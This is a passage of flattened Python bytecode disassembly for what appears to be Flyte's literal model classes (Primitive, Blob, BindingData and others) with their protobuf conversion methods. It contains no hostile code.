LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME BlobMetadata LOAD_BUILD_CLASS LOAD_CONST <code object Blob at 0x7fa6ede4cf60, file "f.py", line 251> LOAD_CONST 'Blob' MAKE_FUNCTION LOAD_CONST 'Blob' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME Blob LOAD_BUILD_CLASS LOAD_CONST <code object Void at 0x7fa6ede4cd20, file "f.py", line 292> LOAD_CONST 'Void' MAKE_FUNCTION LOAD_CONST 'Void' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME Void LOAD_BUILD_CLASS LOAD_CONST <code object BindingDataMap at 0x7fa6ede4c1e0, file "f.py", line 308> LOAD_CONST 'BindingDataMap' MAKE_FUNCTION LOAD_CONST 'BindingDataMap' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME BindingDataMap LOAD_BUILD_CLASS LOAD_CONST <code object BindingDataCollection at 0x7fa6ede4c9c0, file "f.py", line 345> LOAD_CONST 'BindingDataCollection' MAKE_FUNCTION LOAD_CONST 'BindingDataCollection' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME BindingDataCollection LOAD_BUILD_CLASS LOAD_CONST <code object BindingData at 0x7fa6dcb15270, file "f.py", line 378> LOAD_CONST 'BindingData' MAKE_FUNCTION LOAD_CONST 'BindingData' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME BindingData LOAD_BUILD_CLASS LOAD_CONST <code object Binding at 0x7fa6dcb15b70, file "f.py", line 509> LOAD_CONST 'Binding' MAKE_FUNCTION LOAD_CONST 'Binding' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME Binding LOAD_BUILD_CLASS LOAD_CONST <code object Schema at 0x7fa6dcb159c0, file "f.py", line 551> LOAD_CONST 'Schema' MAKE_FUNCTION LOAD_CONST 'Schema' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME Schema LOAD_BUILD_CLASS LOAD_CONST <code object Union at 0x7fa6a4ae4c00, file "f.py", line 591> LOAD_CONST 'Union' MAKE_FUNCTION LOAD_CONST 'Union' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME Union LOAD_BUILD_CLASS LOAD_CONST <code object StructuredDatasetMetadata at 0x7fa6a4ae4390, file "f.py", line 636> LOAD_CONST 'StructuredDatasetMetadata' MAKE_FUNCTION LOAD_CONST 'StructuredDatasetMetadata' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME StructuredDatasetMetadata LOAD_BUILD_CLASS LOAD_CONST <code object StructuredDataset at 0x7fa6a4ae45d0, file "f.py", line 664> LOAD_CONST 'StructuredDataset' MAKE_FUNCTION LOAD_CONST 'StructuredDataset' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME StructuredDataset LOAD_BUILD_CLASS LOAD_CONST <code object LiteralCollection at 0x7fa6a4ae4ae0, file "f.py", line 696> LOAD_CONST 'LiteralCollection' MAKE_FUNCTION LOAD_CONST 'LiteralCollection' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME LiteralCollection LOAD_BUILD_CLASS LOAD_CONST <code object LiteralMap at 0x7fa6a74f60c0, file "f.py", line 727> LOAD_CONST 'LiteralMap' MAKE_FUNCTION LOAD_CONST 'LiteralMap' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME LiteralMap LOAD_BUILD_CLASS LOAD_CONST <code object Scalar at 0x7fa6a74f6d20, file "f.py", line 761> LOAD_CONST 'Scalar' MAKE_FUNCTION LOAD_CONST 'Scalar' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME Scalar LOAD_BUILD_CLASS LOAD_CONST <code object Literal at 0x7fa6f0f650c0, file "f.py", line 946> LOAD_CONST 'Literal' MAKE_FUNCTION LOAD_CONST 'Literal' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME Literal LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RetryStrategy' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6db191f60, file "f.py", line 18> LOAD_CONST 'RetryStrategy.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object retries at 0x7fa6db1910c0, file "f.py", line 25> LOAD_CONST 'RetryStrategy.retries' MAKE_FUNCTION CALL_FUNCTION STORE_NAME retries LOAD_CONST <code object to_flyte_idl at 0x7fa6db191660, file "f.py", line 33> LOAD_CONST 'RetryStrategy.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6db191390, file "f.py", line 39> LOAD_CONST 'RetryStrategy.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST retries LOAD_FAST self STORE_ATTR _retries LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _retries RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR RetryStrategy LOAD_FAST self LOAD_ATTR retries LOAD_CONST ('retries',) CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST pb2_object LOAD_ATTR retries LOAD_CONST ('retries',) CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Primitive' STORE_NAME __qualname__ LOAD_CONST (None, None, None, None, None, None) LOAD_CONST <code object __init__ at 0x7fa6db191780, file "f.py", line 49> LOAD_CONST 'Primitive.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object integer at 0x7fa6f1557420, file "f.py", line 79> LOAD_CONST 'Primitive.integer' MAKE_FUNCTION CALL_FUNCTION STORE_NAME integer LOAD_NAME property LOAD_CONST <code object float_value at 0x7fa6f15578a0, file "f.py", line 86> LOAD_CONST 'Primitive.float_value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME float_value LOAD_NAME property LOAD_CONST <code object string_value at 0x7fa6f1557b70, file "f.py", line 93> LOAD_CONST 'Primitive.string_value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME string_value LOAD_NAME property LOAD_CONST <code object boolean at 0x7fa6f1557ed0, file "f.py", line 100> LOAD_CONST 'Primitive.boolean' MAKE_FUNCTION CALL_FUNCTION STORE_NAME boolean LOAD_NAME property LOAD_CONST <code object datetime at 0x7fa6f1557150, file "f.py", line 107> LOAD_CONST 'Primitive.datetime' MAKE_FUNCTION CALL_FUNCTION STORE_NAME datetime LOAD_NAME property LOAD_CONST <code object duration at 0x7fa6f1557930, file "f.py", line 116> LOAD_CONST 'Primitive.duration' MAKE_FUNCTION CALL_FUNCTION STORE_NAME duration LOAD_NAME property LOAD_CONST <code object value at 0x7fa6f1557660, file "f.py", line 123> LOAD_CONST 'Primitive.value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value LOAD_CONST <code object to_flyte_idl at 0x7fa6f1557c00, file "f.py", line 140> LOAD_CONST 'Primitive.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6f1557780, file "f.py", line 158> LOAD_CONST 'Primitive.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST integer LOAD_FAST self STORE_ATTR _integer LOAD_FAST float_value LOAD_FAST self STORE_ATTR _float_value LOAD_FAST string_value LOAD_FAST self STORE_ATTR _string_value LOAD_FAST boolean LOAD_FAST self STORE_ATTR _boolean LOAD_FAST datetime LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None LOAD_FAST self STORE_ATTR _datetime JUMP_FORWARD to 72 LOAD_GLOBAL isinstance LOAD_FAST datetime LOAD_GLOBAL _datetime CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST datetime LOAD_FAST self STORE_ATTR _datetime JUMP_FORWARD to 72 LOAD_GLOBAL _datetime LOAD_METHOD utcfromtimestamp LOAD_FAST datetime LOAD_ATTR seconds CALL_METHOD LOAD_FAST self STORE_ATTR _datetime LOAD_FAST duration LOAD_FAST self STORE_ATTR _duration LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _integer RETURN_VALUE LOAD_FAST self LOAD_ATTR _float_value RETURN_VALUE LOAD_FAST self LOAD_ATTR _string_value RETURN_VALUE LOAD_FAST self LOAD_ATTR _boolean RETURN_VALUE LOAD_FAST self LOAD_ATTR _datetime LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _datetime LOAD_ATTR tzinfo LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _datetime RETURN_VALUE LOAD_FAST self LOAD_ATTR _datetime LOAD_ATTR replace LOAD_GLOBAL _timezone LOAD_ATTR utc LOAD_CONST ('tzinfo',) CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR _duration RETURN_VALUE SETUP_LOOP to 50 LOAD_FAST self LOAD_ATTR integer LOAD_FAST self LOAD_ATTR float_value LOAD_FAST self LOAD_ATTR string_value LOAD_FAST self LOAD_ATTR boolean LOAD_FAST self LOAD_ATTR datetime LOAD_FAST self LOAD_ATTR duration BUILD_LIST GET_ITER FOR_ITER to 48 STORE_FAST value LOAD_FAST value LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST value RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR Primitive LOAD_FAST self LOAD_ATTR integer LOAD_FAST self LOAD_ATTR float_value LOAD_FAST self LOAD_ATTR string_value LOAD_FAST self LOAD_ATTR boolean LOAD_CONST ('integer', 'float_value', 'string_value', 'boolean') CALL_FUNCTION STORE_FAST primitive LOAD_FAST self LOAD_ATTR datetime LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST primitive LOAD_ATTR datetime LOAD_METHOD FromDatetime LOAD_FAST self LOAD_ATTR datetime LOAD_METHOD astimezone LOAD_GLOBAL _timezone LOAD_ATTR utc CALL_METHOD LOAD_ATTR replace LOAD_CONST None LOAD_CONST ('tzinfo',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR duration LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST primitive LOAD_ATTR duration LOAD_METHOD FromTimedelta LOAD_FAST self LOAD_ATTR duration CALL_METHOD POP_TOP LOAD_FAST primitive RETURN_VALUE LOAD_FAST cls LOAD_FAST proto LOAD_METHOD HasField LOAD_CONST 'integer' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST proto LOAD_ATTR integer JUMP_FORWARD to 20 LOAD_CONST None LOAD_FAST proto LOAD_METHOD HasField LOAD_CONST 'float_value' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST proto LOAD_ATTR float_value JUMP_FORWARD to 38 LOAD_CONST None LOAD_FAST proto LOAD_METHOD HasField LOAD_CONST 'string_value' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST proto LOAD_ATTR string_value JUMP_FORWARD to 56 LOAD_CONST None LOAD_FAST proto LOAD_METHOD HasField LOAD_CONST 'boolean' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST proto LOAD_ATTR boolean JUMP_FORWARD to 74 LOAD_CONST None LOAD_FAST proto LOAD_METHOD HasField LOAD_CONST 'datetime' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST proto LOAD_ATTR datetime LOAD_METHOD ToDatetime CALL_METHOD LOAD_ATTR replace LOAD_GLOBAL _timezone LOAD_ATTR utc LOAD_CONST ('tzinfo',) CALL_FUNCTION JUMP_FORWARD to 106 LOAD_CONST None LOAD_FAST proto LOAD_METHOD HasField LOAD_CONST 'duration' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST proto LOAD_ATTR duration LOAD_METHOD ToTimedelta CALL_METHOD JUMP_FORWARD to 128 LOAD_CONST None LOAD_CONST ('integer', 'float_value', 'string_value', 'boolean', 'datetime', 'duration') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Binary' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6d4b48d20, file "f.py", line 181> LOAD_CONST 'Binary.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object value at 0x7fa6d4b48420, file "f.py", line 189> LOAD_CONST 'Binary.value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value LOAD_NAME property LOAD_CONST <code object tag at 0x7fa6d4b48ed0, file "f.py", line 196> LOAD_CONST 'Binary.tag' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tag LOAD_CONST <code object to_flyte_idl at 0x7fa6d4b48030, file "f.py", line 203> LOAD_CONST 'Binary.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6d4b48390, file "f.py", line 209> LOAD_CONST 'Binary.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST value LOAD_FAST self STORE_ATTR _value LOAD_FAST tag LOAD_FAST self STORE_ATTR _tag LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _value RETURN_VALUE LOAD_FAST self LOAD_ATTR _tag RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR Binary LOAD_FAST self LOAD_ATTR value LOAD_FAST self LOAD_ATTR tag LOAD_CONST ('value', 'tag') CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST pb2_object LOAD_ATTR value LOAD_FAST pb2_object LOAD_ATTR tag LOAD_CONST ('value', 'tag') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BlobMetadata' STORE_NAME __qualname__ LOAD_CONST '\n This is metadata for the Blob literal.\n ' STORE_NAME __doc__ LOAD_CONST <code object __init__ at 0x7fa6d4b48e40, file "f.py", line 223> LOAD_CONST 'BlobMetadata.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object type at 0x7fa6d4b486f0, file "f.py", line 229> LOAD_CONST 'BlobMetadata.type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type LOAD_CONST <code object to_flyte_idl at 0x7fa6d4b48930, file "f.py", line 236> LOAD_CONST 'BlobMetadata.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6d4b48a50, file "f.py", line 242> LOAD_CONST 'BlobMetadata.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST type LOAD_FAST self STORE_ATTR _type LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _type RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR BlobMetadata LOAD_FAST self LOAD_ATTR type LOAD_METHOD to_flyte_idl CALL_METHOD LOAD_CONST ('type',) CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_GLOBAL _core_types LOAD_ATTR BlobType LOAD_METHOD from_flyte_idl LOAD_FAST proto LOAD_ATTR type CALL_METHOD LOAD_CONST ('type',) CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Blob' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6d4b48150, file "f.py", line 252> LOAD_CONST 'Blob.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object uri at 0x7fa6d4b48810, file "f.py", line 263> LOAD_CONST 'Blob.uri' MAKE_FUNCTION CALL_FUNCTION STORE_NAME uri LOAD_NAME property LOAD_CONST <code object metadata at 0x7fa6d4b48540, file "f.py", line 270> LOAD_CONST 'Blob.metadata' MAKE_FUNCTION CALL_FUNCTION STORE_NAME metadata LOAD_CONST <code object to_flyte_idl at 0x7fa6ede4c150, file "f.py", line 277> LOAD_CONST 'Blob.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6ede4c540, file "f.py", line 283> LOAD_CONST 'Blob.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST metadata LOAD_FAST self STORE_ATTR _metadata LOAD_FAST uri LOAD_FAST self STORE_ATTR _uri LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _uri RETURN_VALUE LOAD_FAST self LOAD_ATTR _metadata RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR Blob LOAD_FAST self LOAD_ATTR metadata LOAD_METHOD to_flyte_idl CALL_METHOD LOAD_FAST self LOAD_ATTR uri LOAD_CONST ('metadata', 'uri') CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_GLOBAL BlobMetadata LOAD_METHOD from_flyte_idl LOAD_FAST proto LOAD_ATTR metadata CALL_METHOD LOAD_FAST proto LOAD_ATTR uri LOAD_CONST ('metadata', 'uri') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Void' STORE_NAME __qualname__ LOAD_CONST <code object to_flyte_idl at 0x7fa6ede4ced0, file "f.py", line 293> LOAD_CONST 'Void.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6ede4c300, file "f.py", line 299> LOAD_CONST 'Void.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_METHOD Void CALL_METHOD RETURN_VALUE LOAD_FAST cls CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BindingDataMap' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6ede4cdb0, file "f.py", line 309> LOAD_CONST 'BindingDataMap.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object bindings at 0x7fa6ede4cc90, file "f.py", line 317> LOAD_CONST 'BindingDataMap.bindings' MAKE_FUNCTION CALL_FUNCTION STORE_NAME bindings LOAD_CONST <code object to_flyte_idl at 0x7fa6ede4c8a0, file "f.py", line 325> LOAD_CONST 'BindingDataMap.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6ede4c420, file "f.py", line 333> LOAD_CONST 'BindingDataMap.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST bindings LOAD_FAST self STORE_ATTR _bindings LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _bindings RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR BindingDataMap LOAD_CONST <code object <dictcomp> at 0x7fa6ede4c5d0, file "f.py", line 330> LOAD_CONST 'BindingDataMap.to_flyte_idl.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR bindings LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION LOAD_CONST ('bindings',) CALL_FUNCTION RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 24 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST v LOAD_METHOD to_flyte_idl CALL_METHOD LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST cls LOAD_CONST <code object <dictcomp> at 0x7fa6ede4ce40, file "f.py", line 341> LOAD_CONST 'BindingDataMap.from_flyte_idl.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST pb2_object LOAD_ATTR bindings LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 26 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_GLOBAL BindingData LOAD_METHOD from_flyte_idl LOAD_FAST v CALL_METHOD LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BindingDataCollection' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6ede4c780, file "f.py", line 346> LOAD_CONST 'BindingDataCollection.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object bindings at 0x7fa6ede4c030, file "f.py", line 354> LOAD_CONST 'BindingDataCollection.bindings' MAKE_FUNCTION CALL_FUNCTION STORE_NAME bindings LOAD_CONST <code object to_flyte_idl at 0x7fa6ede4c810, file "f.py", line 361> LOAD_CONST 'BindingDataCollection.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6ede4c270, file "f.py", line 369> LOAD_CONST 'BindingDataCollection.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST bindings LOAD_FAST self STORE_ATTR _bindings LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _bindings RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR BindingDataCollection LOAD_CONST <code object <listcomp> at 0x7fa6ede4c930, file "f.py", line 366> LOAD_CONST 'BindingDataCollection.to_flyte_idl.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR bindings GET_ITER CALL_FUNCTION LOAD_CONST ('bindings',) CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST b LOAD_FAST b LOAD_METHOD to_flyte_idl CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST cls LOAD_CONST <code object <listcomp> at 0x7fa6ede4c660, file "f.py", line 375> LOAD_CONST 'BindingDataCollection.from_flyte_idl.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST pb2_object LOAD_ATTR bindings GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST b LOAD_GLOBAL BindingData LOAD_METHOD from_flyte_idl LOAD_FAST b CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BindingData' STORE_NAME __qualname__ LOAD_CONST (None, None, None, None) LOAD_CONST <code object __init__ at 0x7fa6ede4c4b0, file "f.py", line 379> LOAD_CONST 'BindingData.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object scalar at 0x7fa6ede4ca50, file "f.py", line 395> LOAD_CONST 'BindingData.scalar' MAKE_FUNCTION CALL_FUNCTION STORE_NAME scalar LOAD_NAME property LOAD_CONST <code object collection at 0x7fa6ede4c390, file "f.py", line 403> LOAD_CONST 'BindingData.collection' MAKE_FUNCTION CALL_FUNCTION STORE_NAME collection LOAD_NAME property LOAD_CONST <code object promise at 0x7fa782340780, file "f.py", line 411> LOAD_CONST 'BindingData.promise' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promise LOAD_NAME property LOAD_CONST <code object map at 0x7fa6dcb15030, file "f.py", line 419> LOAD_CONST 'BindingData.map' MAKE_FUNCTION CALL_FUNCTION STORE_NAME map LOAD_NAME property LOAD_CONST <code object value at 0x7fa6dcb15150, file "f.py", line 427> LOAD_CONST 'BindingData.value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value LOAD_CONST <code object to_flyte_idl at 0x7fa6dcb151e0, file "f.py", line 435> LOAD_CONST 'BindingData.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6dcb15c00, file "f.py", line 448> LOAD_CONST 'BindingData.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST <code object to_literal_model at 0x7fa6dcb15d20, file "f.py", line 477> LOAD_CONST 'BindingData.to_literal_model' MAKE_FUNCTION STORE_NAME to_literal_model LOAD_CONST None RETURN_VALUE LOAD_FAST scalar LOAD_FAST self STORE_ATTR _scalar LOAD_FAST collection LOAD_FAST self STORE_ATTR _collection LOAD_FAST promise LOAD_FAST self STORE_ATTR _promise LOAD_FAST map LOAD_FAST self STORE_ATTR _map LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _scalar RETURN_VALUE LOAD_FAST self LOAD_ATTR _collection RETURN_VALUE LOAD_FAST self LOAD_ATTR _promise RETURN_VALUE LOAD_FAST self LOAD_ATTR _map RETURN_VALUE LOAD_FAST self LOAD_ATTR scalar JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR collection JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR promise JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR map RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR BindingData LOAD_FAST self LOAD_ATTR scalar LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR scalar LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 26 LOAD_CONST None LOAD_FAST self LOAD_ATTR collection LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR collection LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 48 LOAD_CONST None LOAD_FAST self LOAD_ATTR promise LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR promise LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 70 LOAD_CONST None LOAD_FAST self LOAD_ATTR map LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR map LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 92 LOAD_CONST None LOAD_CONST ('scalar', 'collection', 'promise', 'map') CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'scalar' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL Scalar LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR scalar CALL_METHOD JUMP_FORWARD to 26 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'collection' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL BindingDataCollection LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR collection CALL_METHOD JUMP_FORWARD to 50 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'promise' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL _OutputReference LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR promise CALL_METHOD JUMP_FORWARD to 74 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'map' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL BindingDataMap LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR map CALL_METHOD JUMP_FORWARD to 98 LOAD_CONST None LOAD_CONST ('scalar', 'collection', 'promise', 'map') CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR promise POP_JUMP_IF_FALSE LOAD_GLOBAL _user_exceptions LOAD_METHOD FlyteValueException LOAD_FAST self LOAD_ATTR promise LOAD_CONST 'Cannot convert BindingData to a Literal because it has a promise.' CALL_METHOD RAISE_VARARGS JUMP_FORWARD to 116 LOAD_FAST self LOAD_ATTR scalar POP_JUMP_IF_FALSE LOAD_GLOBAL Literal LOAD_FAST self LOAD_ATTR scalar LOAD_CONST ('scalar',) CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR collection POP_JUMP_IF_FALSE LOAD_GLOBAL Literal LOAD_GLOBAL LiteralCollection LOAD_CONST <code object <listcomp> at 0x7fa6dcb15db0, file "f.py", line 493> LOAD_CONST 'BindingData.to_literal_model.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR collection LOAD_ATTR bindings GET_ITER CALL_FUNCTION LOAD_CONST ('literals',) CALL_FUNCTION LOAD_CONST ('collection',) CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR map POP_JUMP_IF_FALSE LOAD_GLOBAL Literal LOAD_GLOBAL LiteralMap LOAD_CONST <code object <dictcomp> at 0x7fa6dcb15930, file "f.py", line 501> LOAD_CONST 'BindingData.to_literal_model.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR map LOAD_ATTR bindings LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION 